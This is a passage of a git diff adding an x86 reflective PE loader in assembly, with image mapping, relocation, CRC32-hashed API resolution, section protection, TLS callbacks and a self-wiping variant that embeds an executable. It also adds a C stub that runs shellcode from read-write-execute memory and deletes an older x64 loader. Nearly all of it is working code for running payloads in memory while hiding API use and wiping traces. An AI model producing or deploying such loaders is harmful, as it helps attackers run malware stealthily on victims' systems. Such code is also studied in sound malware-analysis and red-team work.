+loc_408f3e: add edx,eax +loc_408f40: cmp ebx,edx +loc_408f42: jae loc_409021 +loc_408f48: vpxor xmm0,xmm0,xmm0 +loc_408f4c: vmovdqu [esp+0x38],xmm0 +loc_408f52: lea edi,[esp+0x48] +loc_408f56: mov eax,0x0 +loc_408f5b: mov ecx,0x3d +loc_408f60: rep stosd +loc_408f62: vmovdqu [esp+0x13c],xmm0 +loc_408f6b: lea edi,[esp+0x14c] +loc_408f72: mov ecx,0x3d +loc_408f77: rep stosd +loc_408f79: cmp BYTE [ebx],0x2e +loc_408f7c: je loc_40902b +loc_408f82: mov esi,0x0 +loc_408f87: add esi,0x1 +loc_408f8a: mov eax,esi +loc_408f8c: cmp BYTE [ebx+esi*1],0x2e +loc_408f90: jne loc_408f87 +loc_408f92: lea edx,[esp+0x38] +loc_408f96: mov DWORD [esp+0x8],eax +loc_408f9a: mov DWORD [esp+0x4],ebx +loc_408f9e: mov DWORD [esp],edx +loc_408fa1: call memcpy +loc_408fa6: lea ecx,[ebx+esi*1+0x1] +loc_408faa: cmp BYTE [ecx],0x0 +loc_408fad: je loc_40903a +loc_408fb3: mov eax,0x0 +loc_408fb8: add esi,ebx +loc_408fba: add eax,0x1 +loc_408fbd: mov edx,eax +loc_408fbf: cmp BYTE [esi+eax*1+0x1],0x0 +loc_408fc4: jne loc_408fba +loc_408fc6: lea eax,[esp+0x13c] +loc_408fcd: mov DWORD [esp+0x8],edx +loc_408fd1: mov DWORD [esp+0x4],ecx +loc_408fd5: mov DWORD [esp],eax +loc_408fd8: call memcpy +loc_408fdd: lea eax,[esp+0x38] +loc_408fe1: mov DWORD [esp],eax +loc_408fe4: call load_module +loc_408fe9: mov ebx,eax +loc_408feb: mov eax,0x0 +loc_408ff0: test ebx,ebx +loc_408ff2: je loc_409023 +loc_408ff4: mov DWORD [esp+0x4],0x0 +loc_408ffc: lea eax,[esp+0x13c] +loc_409003: mov DWORD [esp],eax +loc_409006: call calc_crc +loc_40900b: mov DWORD [esp+0x8],0xffffffff +loc_409013: mov DWORD [esp+0x4],eax +loc_409017: mov DWORD [esp],ebx +loc_40901a: call get_proc_by_crc +loc_40901f: mov ebx,eax +loc_409021: mov eax,ebx +loc_409023: lea esp,[ebp-0xc] +loc_409026: pop ebx +loc_409027: pop esi +loc_409028: pop edi +loc_409029: pop ebp +loc_40902a: ret +loc_40902b: mov esi,0x0 +loc_409030: mov eax,0x0 +loc_409035: jmp loc_408f92 +loc_40903a: mov edx,0x0 +loc_40903f: jmp loc_408fc6 +loc_409041: mov eax,0x0 +loc_409046: jmp loc_409023 diff --git a/loader/loader-x86/inc/load_module.asm b/loader/loader-x86/inc/load_module.asm new file mode 100644 index 0000000..a746459 --- /dev/null +++ b/loader/loader-x86/inc/load_module.asm @@ -0,0 +1,58 @@ +[BITS 32] + + +load_module: +loc_40a08a: push edi +loc_40a08b: push ebx +loc_40a08c: sub esp,0x234 +loc_40a092: mov ebx,DWORD [esp+0x240] +loc_40a099: mov DWORD [esp+0x22c],0x0 +loc_40a0a4: lea edi,[esp+0x1c] +loc_40a0a8: mov ecx,0x82 +loc_40a0ad: mov eax,0x0 +loc_40a0b2: rep stosd +loc_40a0b4: cmp BYTE [ebx],0x0 +loc_40a0b7: je loc_40a14c +loc_40a0bd: mov edx,0x0 +loc_40a0c2: mov eax,edx +loc_40a0c4: add edx,0x1 +loc_40a0c7: cmp BYTE [ebx+edx*1],0x0 +loc_40a0cb: jne loc_40a0c2 +loc_40a0cd: add edx,edx +loc_40a0cf: mov WORD [esp+0x224],dx +loc_40a0d7: add edx,0x2 +loc_40a0da: mov WORD [esp+0x226],dx +loc_40a0e2: lea edx,[esp+0x1c] +loc_40a0e6: mov DWORD [esp+0x228],edx +loc_40a0ed: test eax,eax +loc_40a0ef: js loc_40a103 +loc_40a0f1: movsx dx,BYTE [ebx+eax*1] +loc_40a0f6: mov WORD [esp+eax*2+0x1c],dx +loc_40a0fb: sub eax,0x1 +loc_40a0fe: cmp eax,0xffffffff +loc_40a101: jne loc_40a0f1 +loc_40a103: lea eax,[esp+0x22c] +loc_40a10a: mov DWORD [esp+0xc],eax +loc_40a10e: lea eax,[esp+0x224] +loc_40a115: mov DWORD [esp+0x8],eax +loc_40a119: mov DWORD [esp+0x4],0x0 +loc_40a121: mov DWORD [esp],0x0 +loc_111111: push 0xB4EBB9A4 +loc_222222: call api_call +loc_xxxxxx: add esp,4 +loc_40a128: call eax +loc_40a12e: sub esp,0x10 +loc_40a131: test eax,eax +loc_40a133: js loc_40a145 +loc_40a135: mov eax,DWORD [esp+0x22c] +loc_40a13c: add esp,0x234 +loc_40a142: pop ebx +loc_40a143: pop edi +loc_40a144: ret +loc_40a145: mov eax,0x0 +loc_40a14a: jmp loc_40a13c +loc_40a14c: mov WORD [esp+0x224],0x0 +loc_40a156: mov WORD [esp+0x226],0x2 +loc_40a160: lea eax,[esp+0x1c] +loc_40a164: mov DWORD [esp+0x228],eax +loc_40a16b: jmp loc_40a103 diff --git a/loader/loader-x86/inc/map_image.asm b/loader/loader-x86/inc/map_image.asm new file mode 100644 index 0000000..dc9fce8 --- /dev/null +++ b/loader/loader-x86/inc/map_image.asm @@ -0,0 +1,67 @@ +[BITS 32] + + +map_image: +loc_401f00: push ebp +loc_401f01: push edi +loc_401f02: push esi +loc_401f03: push ebx +loc_401f04: sub esp,0x3c +loc_401f07: mov ebp,DWORD [esp+0x50] +loc_401f0b: mov edi,ebp +loc_401f0d: add edi,DWORD [ebp+0x3c] +loc_401f10: mov eax,0x0 +loc_401f15: cmp DWORD [edi],0x4550 +loc_401f1b: jne loc_401fcf +loc_401f21: mov DWORD [esp+0x2c],0x0 +loc_401f29: mov eax,DWORD [edi+0x50] +loc_401f2c: mov DWORD [esp+0x28],eax +loc_401f30: mov DWORD [esp+0x14],0x4 +loc_401f38: mov DWORD [esp+0x10],0x103000 +loc_401f40: lea eax,[esp+0x28] +loc_401f44: mov DWORD [esp+0xc],eax +loc_401f48: mov DWORD [esp+0x8],0x0 +loc_401f50: lea eax,[esp+0x2c] +loc_401f54: mov DWORD [esp+0x4],eax +loc_401f58: mov DWORD [esp],0xffffffff +loc_333333: push 0x99CE7C55 +loc_444444: call api_call +loc_yyyyyy: add esp,4 +loc_401f5f: call eax +loc_401f65: sub esp,0x18 +loc_401f68: mov edx,eax +loc_401f6a: mov eax,0x0 +loc_401f6f: test edx,edx +loc_401f71: js loc_401fcf +loc_401f73: mov eax,DWORD [edi+0x54] +loc_401f76: mov DWORD [esp+0x8],eax +loc_401f7a: mov DWORD [esp+0x4],ebp +loc_401f7e: mov eax,DWORD [esp+0x2c] +loc_401f82: mov DWORD [esp],eax +loc_401f85: call memcpy +loc_401f8a: movzx eax,WORD [edi+0x14] +loc_401f8e: lea ebx,[edi+eax*1+0x18] +loc_401f92: cmp WORD [edi+0x6],0x0 +loc_401f97: je loc_401fcb +loc_401f99: mov esi,0x0 +loc_401f9e: mov eax,DWORD [ebx+0xc] +loc_401fa1: add eax,DWORD [esp+0x2c] +loc_401fa5: mov edx,ebp +loc_401fa7: add edx,DWORD [ebx+0x14] +loc_401faa: mov ecx,DWORD [ebx+0x10] +loc_401fad: mov DWORD [esp+0x8],ecx +loc_401fb1: mov DWORD [esp+0x4],edx +loc_401fb5: mov DWORD [esp],eax +loc_401fb8: call memcpy +loc_401fbd: add esi,0x1 +loc_401fc0: add ebx,0x28 +loc_401fc3: movzx eax,WORD [edi+0x6] +loc_401fc7: cmp eax,esi +loc_401fc9: jg loc_401f9e +loc_401fcb: mov eax,DWORD [esp+0x2c] +loc_401fcf: add esp,0x3c +loc_401fd2: pop ebx +loc_401fd3: pop esi +loc_401fd4: pop edi +loc_401fd5: pop ebp +loc_401fd6: ret diff --git a/loader/loader-x86/inc/memcpy.asm b/loader/loader-x86/inc/memcpy.asm new file mode 100644 index 0000000..d065600 --- /dev/null +++ b/loader/loader-x86/inc/memcpy.asm @@ -0,0 +1,20 @@ +[BITS 32] + +; memcpy(&dst, &src, size) +memcpy: + push ebp + mov ebp, esp + push esi + push edi + push ecx + mov edi,[ebp+8] + mov esi,[ebp+12] + mov ecx,[ebp+16] +copy_byte: + rep movsb ; Copy the CX number of bytes from RSI to RDI + pop ecx + pop edi + pop esi + mov esp,ebp + pop ebp + ret ; Return \ No newline at end of file diff --git a/loader/loader-x86/inc/protect_sections.asm b/loader/loader-x86/inc/protect_sections.asm new file mode 100644 index 0000000..49e6d97 --- /dev/null +++ b/loader/loader-x86/inc/protect_sections.asm @@ -0,0 +1,106 @@ +[BITS 32] + +protect_sections: +loc_4057e8: push ebp +loc_4057e9: push edi +loc_4057ea: push esi +loc_4057eb: push ebx +loc_4057ec: sub esp,0x4c +loc_4057ef: mov ebp,DWORD [esp+0x60] +loc_4057f3: mov edi,ebp +loc_4057f5: add edi,DWORD [ebp+0x3c] +loc_4057f8: movzx eax,WORD [edi+0x14] +loc_4057fc: lea ebx,[edi+eax*1+0x18] +loc_405800: mov DWORD [esp+0x3c],0x0 +loc_405808: cmp WORD [edi+0x6],0x0 +loc_40580d: je loc_405840 +loc_40580f: mov esi,0x0 +loc_405814: mov ebp,edi +loc_405816: jmp loc_40591e +loc_40581b: mov BYTE [esp+0x2f],0x1 +loc_405820: jmp loc_405863 +loc_405822: mov edx,0x20 +loc_405827: jmp loc_4058ba +loc_40582c: mov eax,0x0 +loc_405831: jmp loc_405838 +loc_405833: mov eax,0x1 +loc_405838: add esp,0x4c +loc_40583b: pop ebx +loc_40583c: pop esi +loc_40583d: pop edi +loc_40583e: pop ebp +loc_40583f: ret +loc_405840: mov eax,0x1 +loc_405845: jmp loc_405838 +loc_405847: mov edi,eax +loc_405849: shr edi,0x1f +loc_40584c: mov BYTE [esp+0x2f],0x0 +loc_405851: test eax,0x20000000 +loc_405856: je loc_405892 +loc_405858: mov edx,0x10 +loc_40585d: mov ecx,edi +loc_40585f: test cl,cl +loc_405861: je loc_405897 +loc_405863: and eax,0x60000000 +loc_405868: mov edi,0x1 +loc_40586d: cmp eax,0x60000000 +loc_405872: mov edx,0x20 +loc_405877: mov eax,0x80 +loc_40587c: cmovne edx,eax +loc_40587f: jmp loc_4058a7 +loc_405881: test eax,0x20000000 +loc_405886: jne loc_40581b +loc_405888: mov BYTE [esp+0x2f],0x1 +loc_40588d: mov edx,0x4 +loc_405892: mov edi,0x0 +loc_405897: and eax,0x60000000 +loc_40589c: cmp eax,0x60000000 +loc_4058a1: je loc_405822 +loc_4058a7: cmp BYTE [esp+0x2f],0x0 +loc_4058ac: je loc_4058ba +loc_4058ae: mov eax,edi +loc_4058b0: test al,al +loc_4058b2: mov eax,0x40 +loc_4058b7: cmovne edx,eax +loc_4058ba: mov eax,DWORD [esp+0x60] +loc_4058be: mov ecx,DWORD [esp+0x28] +loc_4058c2: add eax,DWORD [ecx+0xc] +loc_4058c5: mov DWORD [esp+0x3c],eax +loc_4058c9: mov eax,DWORD [ecx+0x10] +loc_4058cc: mov DWORD [esp+0x34],eax +loc_4058d0: mov DWORD [esp+0x38],0x0 +loc_4058d8: lea eax,[esp+0x38] +loc_4058dc: mov DWORD [esp+0x10],eax +loc_4058e0: mov DWORD [esp+0xc],edx +loc_4058e4: lea eax,[esp+0x34] +loc_4058e8: mov DWORD [esp+0x8],eax +loc_4058ec: lea eax,[esp+0x3c] +loc_4058f0: mov DWORD [esp+0x4],eax +loc_4058f4: mov DWORD [esp],0xffffffff +loc_555555: push 0x6EDE4D41 +loc_666666: call api_call +loc_zzzzzz: add esp,4 +loc_4058fb: call eax +loc_405901: sub esp,0x14 +loc_405904: test eax,eax +loc_405906: js loc_40582c +loc_40590c: add esi,0x1 +loc_40590f: add ebx,0x28 +loc_405912: movzx eax,WORD [ebp+0x6] +loc_405916: cmp eax,esi +loc_405918: jle loc_405833 +loc_40591e: mov DWORD [esp+0x28],ebx +loc_405922: mov eax,DWORD [ebx+0x24] +loc_405925: test eax,eax +loc_405927: je loc_40590c +loc_405929: cdq +loc_40592a: and edx,0xffffffc8 +loc_40592d: add edx,0x40 +loc_405930: test eax,0x40000000 +loc_405935: je loc_405847 +loc_40593b: test eax,eax +loc_40593d: js loc_405881 +loc_405943: mov edi,0x0 +loc_405948: mov BYTE [esp+0x2f],0x1 +loc_40594d: mov edx,0x2 +loc_405952: jmp loc_405851 diff --git a/loader/loader-x86/inc/relocate_image.asm b/loader/loader-x86/inc/relocate_image.asm new file mode 100644 index 0000000..71bbb97 --- /dev/null +++ b/loader/loader-x86/inc/relocate_image.asm @@ -0,0 +1,57 @@ +[BITS 32] + + +relocate_image: +loc_403055: push ebp +loc_403056: push edi +loc_403057: push esi +loc_403058: push ebx +loc_403059: mov ebp,DWORD [esp+0x14] +loc_40305d: mov ebx,ebp +loc_40305f: add ebx,DWORD [ebp+0x3c] +loc_403062: mov edx,DWORD [ebx+0xa0] +loc_403068: mov eax,0x0 +loc_40306d: test edx,edx +loc_40306f: je loc_4030d3 +loc_403071: add edx,ebp +loc_403073: mov esi,ebp +loc_403075: sub esi,DWORD [ebx+0x34] +loc_403078: cmp DWORD [edx],0x0 +loc_40307b: jne loc_4030be +loc_40307d: mov eax,0x1 +loc_403082: jmp loc_4030d3 +loc_403084: movzx ecx,WORD [eax] +loc_403087: and ecx,0xfff +loc_40308d: add ecx,DWORD [edx] +loc_40308f: add DWORD [ebp+ecx*1+0x0],esi +loc_403093: add eax,0x2 +loc_403096: mov ecx,edx +loc_403098: add ecx,DWORD [edx+0x4] +loc_40309b: cmp eax,ecx +loc_40309d: je loc_4030b7 +loc_40309f: movzx ecx,BYTE [eax+0x1] +loc_4030a3: mov edi,ecx +loc_4030a5: and edi,0xfffffff0 +loc_4030a8: mov ebx,edi +loc_4030aa: cmp bl,0x30 +loc_4030ad: je loc_403084 +loc_4030af: cmp cl,0xf +loc_4030b2: jbe loc_403093 +loc_4030b4: int3 +loc_4030b5: jmp loc_403093 +loc_4030b7: mov edx,eax +loc_4030b9: cmp DWORD [edx],0x0 +loc_4030bc: je loc_4030ce +loc_4030be: lea eax,[edx+0x8] +loc_4030c1: mov ecx,edx +loc_4030c3: add ecx,DWORD [edx+0x4] +loc_4030c6: cmp eax,ecx +loc_4030c8: jne loc_40309f +loc_4030ca: mov edx,ecx +loc_4030cc: jmp loc_4030b9 +loc_4030ce: mov eax,0x1 +loc_4030d3: pop ebx +loc_4030d4: pop esi +loc_4030d5: pop edi +loc_4030d6: pop ebp +loc_4030d7: ret diff --git a/loader/loader-x86/inc/resolve_imports.asm b/loader/loader-x86/inc/resolve_imports.asm new file mode 100644 index 0000000..2297b8c --- /dev/null +++ b/loader/loader-x86/inc/resolve_imports.asm @@ -0,0 +1,77 @@ +[BITS 32] + + +resolve_imports: +loc_4042ff: push ebp +loc_404300: push edi +loc_404301: push esi +loc_404302: push ebx +loc_404303: sub esp,0x2c +loc_404306: mov ebp,DWORD [esp+0x40] +loc_40430a: mov eax,DWORD [ebp+0x3c] +loc_40430d: mov edx,DWORD [ebp+eax*1+0x80] +loc_404314: mov eax,0x0 +loc_404319: test edx,edx +loc_40431b: je loc_4043d5 +loc_404321: lea eax,[ebp+edx*1+0x0] +loc_404325: mov DWORD [esp+0x1c],eax +loc_404329: mov eax,DWORD [eax+0xc] +loc_40432c: test eax,eax +loc_40432e: jne loc_4043a4 +loc_404330: mov eax,0x1 +loc_404335: jmp loc_4043d5 +loc_40433a: mov DWORD [esp+0x8],eax +loc_40433e: mov DWORD [esp+0x4],0x0 +loc_404346: mov DWORD [esp],edi +loc_404349: call get_proc_by_crc +loc_40434e: test eax,eax +loc_404350: je loc_404354 +loc_404352: mov DWORD [esi],eax +loc_404354: add ebx,0x4 +loc_404357: add esi,0x4 +loc_40435a: mov eax,DWORD [ebx] +loc_40435c: test eax,eax +loc_40435e: je loc_404394 +loc_404360: test eax,eax +loc_404362: js loc_40433a +loc_404364: mov DWORD [esp+0x4],0x0 +loc_40436c: lea eax,[ebp+eax*1+0x2] +loc_404370: mov DWORD [esp],eax +loc_404373: call calc_crc +loc_404378: mov DWORD [esp+0x8],0xffffffff +loc_404380: mov DWORD [esp+0x4],eax +loc_404384: mov DWORD [esp],edi +loc_404387: call get_proc_by_crc +loc_40438c: test eax,eax +loc_40438e: je loc_404354 +loc_404390: mov DWORD [esi],eax +loc_404392: jmp loc_404354 +loc_404394: add DWORD [esp+0x1c],0x14 +loc_404399: mov eax,DWORD [esp+0x1c] +loc_40439d: mov eax,DWORD [eax+0xc] +loc_4043a0: test eax,eax +loc_4043a2: je loc_4043c9 +loc_4043a4: add eax,ebp +loc_4043a6: mov DWORD [esp],eax +loc_4043a9: call load_module +loc_4043ae: mov edi,eax +loc_4043b0: test eax,eax +loc_4043b2: je loc_4043d0 +loc_4043b4: mov eax,DWORD [esp+0x1c] +loc_4043b8: mov ebx,ebp +loc_4043ba: add ebx,DWORD [eax] +loc_4043bc: mov esi,ebp +loc_4043be: add esi,DWORD [eax+0x10] +loc_4043c1: mov eax,DWORD [ebx] +loc_4043c3: test eax,eax +loc_4043c5: jne loc_404360 +loc_4043c7: jmp loc_404394 +loc_4043c9: mov eax,0x1 +loc_4043ce: jmp loc_4043d5 +loc_4043d0: mov eax,0x0 +loc_4043d5: add esp,0x2c +loc_4043d8: pop ebx +loc_4043d9: pop esi +loc_4043da: pop edi +loc_4043db: pop ebp +loc_4043dc: ret diff --git a/loader/loader-x86/inc/run_tls_callbacks.asm b/loader/loader-x86/inc/run_tls_callbacks.asm new file mode 100644 index 0000000..d8ef97f --- /dev/null +++ b/loader/loader-x86/inc/run_tls_callbacks.asm @@ -0,0 +1,32 @@ +[BITS 32] + + +run_tls_callbacks: +loc_406cdf: push esi +loc_406ce0: push ebx +loc_406ce1: sub esp,0x14 +loc_406ce4: mov esi,DWORD [esp+0x20] +loc_406ce8: mov eax,DWORD [esi+0x3c] +loc_406ceb: mov edx,DWORD [esi+eax*1+0xc0] +loc_406cf2: mov eax,0x0 +loc_406cf7: test edx,edx +loc_406cf9: je loc_406d08 +loc_406cfb: mov ebx,DWORD [esi+edx*1+0xc] +loc_406cff: mov eax,0x1 +loc_406d04: test ebx,ebx +loc_406d06: jne loc_406d29 +loc_406d08: add esp,0x14 +loc_406d0b: pop ebx +loc_406d0c: pop esi +loc_406d0d: ret +loc_406d0e: mov DWORD [esp+0x8],0x0 +loc_406d16: mov DWORD [esp+0x4],0x1 +loc_406d1e: mov DWORD [esp],esi +loc_406d21: call eax +loc_406d23: sub esp,0xc +loc_406d26: add ebx,0x4 +loc_406d29: mov eax,DWORD [ebx] +loc_406d2b: test eax,eax +loc_406d2d: jne loc_406d0e +loc_406d2f: mov eax,0x1 +loc_406d34: jmp loc_406d08 diff --git a/loader/loader-x86/loader-x86-lite.asm b/loader/loader-x86/loader-x86-lite.asm new file mode 100644 index 0000000..222395f --- /dev/null +++ b/loader/loader-x86/loader-x86-lite.asm @@ -0,0 +1,49 @@ +;#===========================================# +;# x86 Reflective Loader # +;# Author: Ege Balcı # +;# Version: 3.0 # +;#===========================================# + +[BITS 32] + +%define e_lfanew 0x3C +%define _AddressOfEntry 0x28 +loader_size equ pe_start-loader + + + call loader ; Start by calling over the PE image +loader: + pop esi ; Get current address into esi + add esi, loader_size ; Add the loader size + push ebp ; Save EBP + mov ebp,esp ; Create a stack frame + push esi ; Push the PE address as first parameter + call map_image ; Perform PE image mapping + pop esi ; Pop out the PE address + push eax ; Push new image baes to stack + call relocate_image ; Perform image relocation + call resolve_imports ; Resolve image imports & create IAT table + call protect_sections ; Apply proper section memory protections + call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯ + pop edi ; Get the new image base value into edi + mov eax,[edi+e_lfanew] ; Get the file header offset + mov eax,[edi+eax+_AddressOfEntry] ; Get the AddressOfEntry into eax + add eax,edi ; Add the AOE onto new image base + cld ; Clear direction flags + mov esp, ebp ; Restore stack frame + pop ebp ; Restore RBP + jmp eax ; Jmp to the PE->AOE + ; ------------------------ FUNCTIONS ------------------------------------ + %include "./inc/memcpy.asm" + %include "./inc/calc_crc.asm" + %include "./inc/map_image.asm" + %include "./inc/load_module.asm" + %include "./inc/relocate_image.asm" + %include "./inc/resolve_imports.asm" + %include "./inc/get_proc_by_crc.asm" + %include "./inc/get_module_by_crc.asm" + %include "./inc/protect_sections.asm" + %include "./inc/run_tls_callbacks.asm" + %include "../crc32_api/crc32_api_x86.asm" + ;------------------------ FUNCTIONS ------------------------------------- +pe_start: \ No newline at end of file diff --git a/loader/loader-x86/loader-x86.asm b/loader/loader-x86/loader-x86.asm new file mode 100644 index 0000000..2d7645a --- /dev/null +++ b/loader/loader-x86/loader-x86.asm @@ -0,0 +1,59 @@ +;#===========================================# +;# x86 Reflective Loader # +;# Author: Ege Balcı # +;# Version: 3.0 # +;#===========================================# + +[BITS 32] + +%define e_lfanew 0x3C +%define _AddressOfEntry 0x28 + +end_wipe: + call start ; Start by calling over the PE image + incbin "putty.exe" ; PE image +start: + pop esi ; Get the PE address into esi + push ebp ; Save EBP + mov ebp,esp ; Create a stack frame + push esi ; Push the PE address as first parameter + call map_image ; Perform PE image mapping + pop esi ; Pop out the PE address + push eax ; Push new image baes to stack + call relocate_image ; Perform image relocation + call resolve_imports ; Resolve image imports & create IAT table + call protect_sections ; Apply proper section memory protections + call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯ + pop edi ; Get the new image base value into edi + mov eax,[edi+e_lfanew] ; Get the file header offset + mov eax,[edi+eax+_AddressOfEntry] ; Get the AddressOfEntry into eax + add eax,edi ; Add the AOE onto new image base + jmp wipe ; Wipe memory artifacts + ; ------------------------ FUNCTIONS ------------------------------------ + %include "./inc/memcpy.asm" + %include "./inc/calc_crc.asm" + %include "./inc/map_image.asm" + %include "./inc/load_module.asm" + %include "./inc/relocate_image.asm" + %include "./inc/resolve_imports.asm" + %include "./inc/get_proc_by_crc.asm" + %include "./inc/get_module_by_crc.asm" + %include "./inc/protect_sections.asm" + %include "./inc/run_tls_callbacks.asm" + %include "../crc32_api/crc32_api_x86.asm" + ;------------------------ FUNCTIONS ------------------------------------- +wipe: + wipe_len_delta equ wipe_end-wipe + call $+5 ; Get current EIP to stack + pop ecx ; Pop currect EIP to RCX + sub ecx,esi ; Calculate the size of the PE file + add ecx,wipe_len_delta ; Add the size of wipe code + mov edi,esi ; Move the PE address to RDI + sub edi,0x5 ; Go back 5 bytes for wiping the initial call as well +wipe_end: + rep stosb ; Store AL into RDI and decrement RDI until RCX = 0 + ; -------------------- SWITCH TO PE ---------------------------- + cld ; Clear direction flags + mov esp, ebp ; Restore stack frame + pop ebp ; Restore RBP + jmp eax ; Jmp to the PE->AOE \ No newline at end of file diff --git a/loader/loader-x86/stub.c b/loader/loader-x86/stub.c new file mode 100755 index 0000000..151a4ad --- /dev/null +++ b/loader/loader-x86/stub.c @@ -0,0 +1,10 @@ +#include +#include "shellcode.h" + +int main(int argc, char const *argv[]) +{ + char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(BUFFER, shellcode, sizeof(shellcode)); + (*(void(*)())BUFFER)(); + return 0; +} diff --git a/loader/loader_x64.asm b/loader/loader_x64.asm deleted file mode 100644 index a022ff1..0000000 --- a/loader/loader_x64.asm +++ /dev/null @@ -1,168 +0,0 @@ -;#==============================================# -;# X64 Reflective Loader # -;# Author: Ege Balcı # -;# Version: 2.0 # -;#==============================================# -; -[BITS 64] - - - call start ; Get the address of pre-mapped PE image to stack - incbin "pemap.bin" ; Pre-mapped PE image -start: - pop rsi ; Get the address of image to rsi - call $+5 ; Push the current RIP value to stack - cld ; Clear direction flags - sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0] - mov rbp,rsp ; Copy current stack address to rbp - and rbp,-0x1000 ; Create a new shadow stack address - mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax - mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx - mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12 - mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE - mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE - mov rdx,[rsp] ; dwSize - xor rcx,rcx ; lpAddress - xchg rsp,rbp ; Swap shadow stack - mov r10d,0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc") - call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE) - xchg rsp,rbp ; Swap shadow stack - mov rdi,rax ; Save the new base address to rdi - xor rax,rax ; Zero out the RAX - xor r8,r8 ; Zero out the R8 - xor r13,r13 ; Zero out the R13 - xor r14,r14 ; Zero out the R14 - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size - mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA - add rax,rsi ; Base relocation table memory address - add rcx,rax ; End of base relocation table -calc_delta: - mov rdx,rdi ; Move the new base address to rdx - sub rdx,rbx ; Delta value - mov r13d,dword [rax] ; Move the reloc RVA to R13D - mov r14d,dword [rax+4] ; Move the reloc table size to R14D - add rax,8 ; Move to the reloc descriptor - jmp fix ; Start fixing -get_rva: - cmp rcx,rax ; Check if the end of the reloc section - jle reloc_fin ; If yes goto fin - mov r13d,dword [rax] ; Move the new reloc RVA - mov r14d,dword [rax+4] ; Move the new reloc table size - add rax,8 ; Move 8 bytes -fix: - cmp r14w,8 ; Check if the end of the reloc block - jz get_rva ; If yes set the next block RVA - mov r8w,word [rax] ; Move the reloc desc to r8w - cmp r8w,0 ; Check if it is a padding word - je pass ; Pass padding bytes - and r8w,0x0FFF ; Get the last 12 bits - add r8d,r13d ; Add block RVA to desc value - add r8,rsi ; Add the start address of the image - add [r8],rdx ; Add the delta value to calculated absolute address -pass: - sub r14d,2 ; Decrease the index - add rax,2 ; Move to the next reloc desc. - xor r8,r8 ; Zero out r8 - jmp fix ; Loop -reloc_fin: ; All done ! - xor r14,r14 ; Zero out r14 - xor r15,r15 ; Zero out r15 - xor rcx,rcx ; Zero out rcx - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,dword [rax+rsi+0x90] ; Import table RVA - add rax,rsi ; Import table memory address (first image import descriptor) - push rax ; Save import descriptor to stack -get_modules: - cmp dword [rax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax - add rcx,rsi ; Get the dll name address - call LoadLibraryA ; Load the library - mov r13,rax ; Move the dll handle to R13 - mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [rsp],0x14 ; Move to the next import descriptor - mov rax,[rsp] ; Set the new import descriptor address to eax - jmp get_modules ; Get other modules -get_procs: - mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA - add r14,rsi ; Get the IAT memory address - mov rax,[rax] ; Set the import names table RVA to eax - add rax,rsi ; Get the current import descriptor's import names table address - mov r15,rax ; Save &INT to R15 -resolve: - cmp dword [rax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov rax,[rax] ; Get the RVA of function hint to eax - btr rax,0x3F ; Check if the high order bit is set - jnc name_resolve ; If high order bit is not set resolve with INT entry - shl rax,2 ; Discard the high bit by shifting - shr rax,2 ; Shift back the original value - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add rax,rsi ; Set the address of function hint - add rax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov [r14],rax ; Insert the function address to IAT - add r14,8 ; Increase the IAT index - add r15,8 ; Increase the import names table index - mov rax,r15 ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov qword [r14],0 ; Insert a NULL qword - ret ; <- -LoadLibraryA: - xchg rbp,rsp ; Swap shadow stack - mov r10d,0xE2E6A091 ; crc32("KERNEL32.DLL", "LoadLibraryA") - call api_call ; LoadLibraryA(RCX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -GetProcAddress: - xchg rbp,rsp ; Swap shadow stack - mov rcx,r13 ; Move the module handle to RCX as first parameter - mov rdx,rax ; Move the address of function name string to RDX as second parameter - mov r10d,0xA18B0B38 ; crc32("KERNEL32.DLL", "GetProcAddress") - call api_call ; GetProcAddress(ebx,[esp+4]) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -complete: - pop rax ; Clean out the stack - pop rcx ; Pop the ImageSize into RCX - push rdi ; Save ImageBase to stack - mov r13,rdi ; Copy the new base value to r13 - add r13,r12 ; Add the address of entry value to new base address -memcpy: - mov al,[rsi] ; Move 1 byte of PE image to AL register - mov byte [rdi],al ; Move 1 byte of PE image to image base - mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint) - inc rsi ; Increase PE image index - inc rdi ; Increase image base index - loop memcpy ; Loop until zero - ; Flush instruction cache - pop r13 ; Pop the image base to r13 - or rcx,-1 ; hProcess - xor rdx,rdx ; lpBaseAddress - xor r8,r8 ; hProcess - xchg rbp,rsp ; Swap shadow stack - mov r10d,0x975B539E ; crc32("KERNEL32.dll", "FlushInstructionCache") - call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL); - xchg rbp,rsp ; Swap shadow stack - add r13,r12 ; Add the address of entry value to image base - jmp PE_start ; Wipe artifacts from memory and start PE - -; ========== API ========== -%include "CRC32_API/x64_crc32_api.asm" - -PE_start: - mov rcx,wipe ; Get the number of bytes until wipe label - lea rax,[rip] ; Get RIP to 